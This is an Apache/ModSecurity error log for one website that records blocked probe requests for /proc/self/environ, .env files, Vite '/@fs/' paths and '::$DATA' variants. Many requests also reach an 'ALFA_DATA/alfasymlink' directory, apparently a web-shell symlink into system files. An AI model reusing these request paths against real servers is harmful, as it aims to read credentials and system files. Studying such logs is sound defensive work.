[Sun Oct 25 18:10:29.187943 2026] [security2:error] [pid 2899542:tid 2899542] [client 34.107.58.202:49762] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5-VdKQ9ANbYqzP3RuiBQAAAAk"]
[Sun Oct 25 18:10:29.188651 2026] [security2:error] [pid 2899542:tid 2899542] [client 34.107.58.202:49762] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5-VdKQ9ANbYqzP3RuiBQAAAAk"]
[Sun Oct 25 18:10:29.188971 2026] [security2:error] [pid 2899542:tid 2899542] [client 34.107.58.202:49762] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5-VdKQ9ANbYqzP3RuiBQAAAAk"]
[Sun Oct 25 18:10:29.500170 2026] [security2:error] [pid 2910680:tid 2910680] [client 34.107.58.202:49720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5-VWul5TOhHY0lo55mbwAAAAU"]
[Sun Oct 25 18:10:29.500917 2026] [security2:error] [pid 2910680:tid 2910680] [client 34.107.58.202:49720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5-VWul5TOhHY0lo55mbwAAAAU"]
[Sun Oct 25 18:10:29.501300 2026] [security2:error] [pid 2910680:tid 2910680] [client 34.107.58.202:49720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5-VWul5TOhHY0lo55mbwAAAAU"]
[Sun Oct 25 18:10:30.544756 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5-VhZObLMoYzrxjLAiiQAAAAM"]
[Sun Oct 25 18:10:30.545314 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5-VhZObLMoYzrxjLAiiQAAAAM"]
[Sun Oct 25 18:10:30.545641 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5-VhZObLMoYzrxjLAiiQAAAAM"]
[Sun Oct 25 18:10:30.589698 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5-VnubL73JO9nX5wfH9QAAAEI"]
[Sun Oct 25 18:10:30.590147 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5-VnubL73JO9nX5wfH9QAAAEI"]
[Sun Oct 25 18:10:30.590447 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5-VnubL73JO9nX5wfH9QAAAEI"]
[Sun Oct 25 18:10:30.762392 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5-VhZObLMoYzrxjLAiigAAAAM"]
[Sun Oct 25 18:10:30.763174 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5-VhZObLMoYzrxjLAiigAAAAM"]
[Sun Oct 25 18:10:30.763576 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5-VhZObLMoYzrxjLAiigAAAAM"]
[Sun Oct 25 18:10:30.765343 2026] [security2:error] [pid 2909982:tid 2909982] [client 34.107.58.202:49688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VoExQO468sle0IPoOAAAABg"]
[Sun Oct 25 18:10:30.765778 2026] [security2:error] [pid 2909982:tid 2909982] [client 34.107.58.202:49688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VoExQO468sle0IPoOAAAABg"]
[Sun Oct 25 18:10:30.766112 2026] [security2:error] [pid 2909982:tid 2909982] [client 34.107.58.202:49688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VoExQO468sle0IPoOAAAABg"]
[Sun Oct 25 18:10:30.767830 2026] [security2:error] [pid 2910690:tid 2910690] [client 34.107.58.202:49728] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5-Vif-uhA2ftq-7W4qNgAAAAY"]
[Sun Oct 25 18:10:30.768270 2026] [security2:error] [pid 2910690:tid 2910690] [client 34.107.58.202:49728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5-Vif-uhA2ftq-7W4qNgAAAAY"]
[Sun Oct 25 18:10:30.768651 2026] [security2:error] [pid 2910690:tid 2910690] [client 34.107.58.202:49728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at5-Vif-uhA2ftq-7W4qNgAAAAY"]
[Sun Oct 25 18:10:30.769746 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.107.58.202:49664] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5-VgYZaEKvpE7JCm_rPgAAAAA"]
[Sun Oct 25 18:10:30.770060 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.107.58.202:49664] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5-VgYZaEKvpE7JCm_rPgAAAAA"]
[Sun Oct 25 18:10:30.770307 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.107.58.202:49664] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at5-VgYZaEKvpE7JCm_rPgAAAAA"]
[Sun Oct 25 18:10:30.782792 2026] [security2:error] [pid 2910691:tid 2910691] [client 34.107.58.202:49714] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5-Vopd0OQ6ILlVu6X2CQAAAAg"]
[Sun Oct 25 18:10:30.783203 2026] [security2:error] [pid 2910691:tid 2910691] [client 34.107.58.202:49714] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5-Vopd0OQ6ILlVu6X2CQAAAAg"]
[Sun Oct 25 18:10:30.783501 2026] [security2:error] [pid 2910691:tid 2910691] [client 34.107.58.202:49714] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5-Vopd0OQ6ILlVu6X2CQAAAAg"]
[Sun Oct 25 18:10:31.949839 2026] [ssl:error] [pid 2910741:tid 2910741] (70014)End of file found: [client 3.94.156.104:62131] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:10:34.618680 2026] [ssl:error] [pid 2910743:tid 2910743] (70014)End of file found: [client 52.2.4.213:43163] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:10:42.984314 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 107.20.181.148:58213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:01/PNP0F13:00/subsystem/drivers/battery/bind
[Sun Oct 25 18:10:45.522584 2026] [security2:error] [pid 2899920:tid 2899920] [client 107.172.76.131:65133] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5-WR8fO9KwLgqLGMRCewAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:10:45.522650 2026] [security2:error] [pid 2899920:tid 2899920] [client 107.172.76.131:65133] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5-WR8fO9KwLgqLGMRCewAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:10:46.682364 2026] [security2:error] [pid 2908852:tid 2908852] [client 3.208.156.9:19258] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/ACPI0010:00/power/"] [unique_id "at5-ZjsPACk6z5hup_pd6gAAABE"]
[Sun Oct 25 18:10:46.682418 2026] [security2:error] [pid 2908852:tid 2908852] [client 3.208.156.9:19258] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/ACPI0010:00/power/"] [unique_id "at5-ZjsPACk6z5hup_pd6gAAABE"]
[Sun Oct 25 18:10:50.122242 2026] [core:error] [pid 2910678:tid 2910678] (13)Permission denied: [client 61.5.25.136:50388] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/validate
[Sun Oct 25 18:10:51.858929 2026] [core:error] [pid 2910740:tid 2910740] (13)Permission denied: [client 86.41.117.69:36696] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/validate
[Sun Oct 25 18:10:52.842688 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 154.81.83.54:56562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/reclaim_account
[Sun Oct 25 18:10:53.592646 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 68.7.243.27:54539] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/validate
[Sun Oct 25 18:10:54.612722 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 100.28.133.214:8756] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:10:58.390255 2026] [core:error] [pid 2910740:tid 2910740] (13)Permission denied: [client 94.249.80.241:29011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/alloc_calls
[Sun Oct 25 18:10:59.470833 2026] [security2:error] [pid 2899920:tid 2899920] [client 107.172.76.131:65133] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5-Zh8fO9KwLgqLGMRCfAAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:10:59.470885 2026] [security2:error] [pid 2899920:tid 2899920] [client 107.172.76.131:65133] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5-Zh8fO9KwLgqLGMRCfAAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:11:00.023021 2026] [core:error] [pid 2910690:tid 2910690] (13)Permission denied: [client 197.215.22.165:41712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/reclaim_account
[Sun Oct 25 18:11:01.055373 2026] [core:error] [pid 2910024:tid 2910024] (13)Permission denied: [client 37.214.7.212:1615] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/alloc_calls
[Sun Oct 25 18:11:03.780127 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 91.106.40.224:50852] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/reclaim_account
[Sun Oct 25 18:11:03.828508 2026] [core:error] [pid 2910691:tid 2910691] (13)Permission denied: [client 89.230.178.226:40280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/alloc_calls
[Sun Oct 25 18:11:06.816390 2026] [ssl:error] [pid 2910740:tid 2910740] (70014)End of file found: [client 98.83.72.38:15422] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:11:10.859818 2026] [ssl:error] [pid 2910024:tid 2910024] (70014)End of file found: [client 3.93.211.16:58318] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:11:11.429622 2026] [security2:error] [pid 2910029:tid 2910029] [client 185.191.171.16:21152] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/surround21.conf"] [unique_id "at5-fzFcH7iHSIgvWzjm1QAAAEY"]
[Sun Oct 25 18:11:11.430046 2026] [security2:error] [pid 2910029:tid 2910029] [client 185.191.171.16:21152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/surround21.conf"] [unique_id "at5-fzFcH7iHSIgvWzjm1QAAAEY"]
[Sun Oct 25 18:11:11.430390 2026] [security2:error] [pid 2910029:tid 2910029] [client 185.191.171.16:21152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/surround21.conf"] [unique_id "at5-fzFcH7iHSIgvWzjm1QAAAEY"]
[Sun Oct 25 18:11:18.757203 2026] [ssl:error] [pid 2910740:tid 2910740] (70014)End of file found: [client 54.86.59.155:50594] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:11:22.792868 2026] [ssl:error] [pid 2910029:tid 2910029] (70014)End of file found: [client 44.223.116.180:40844] AH02013: coalesce failed to read from data bucket
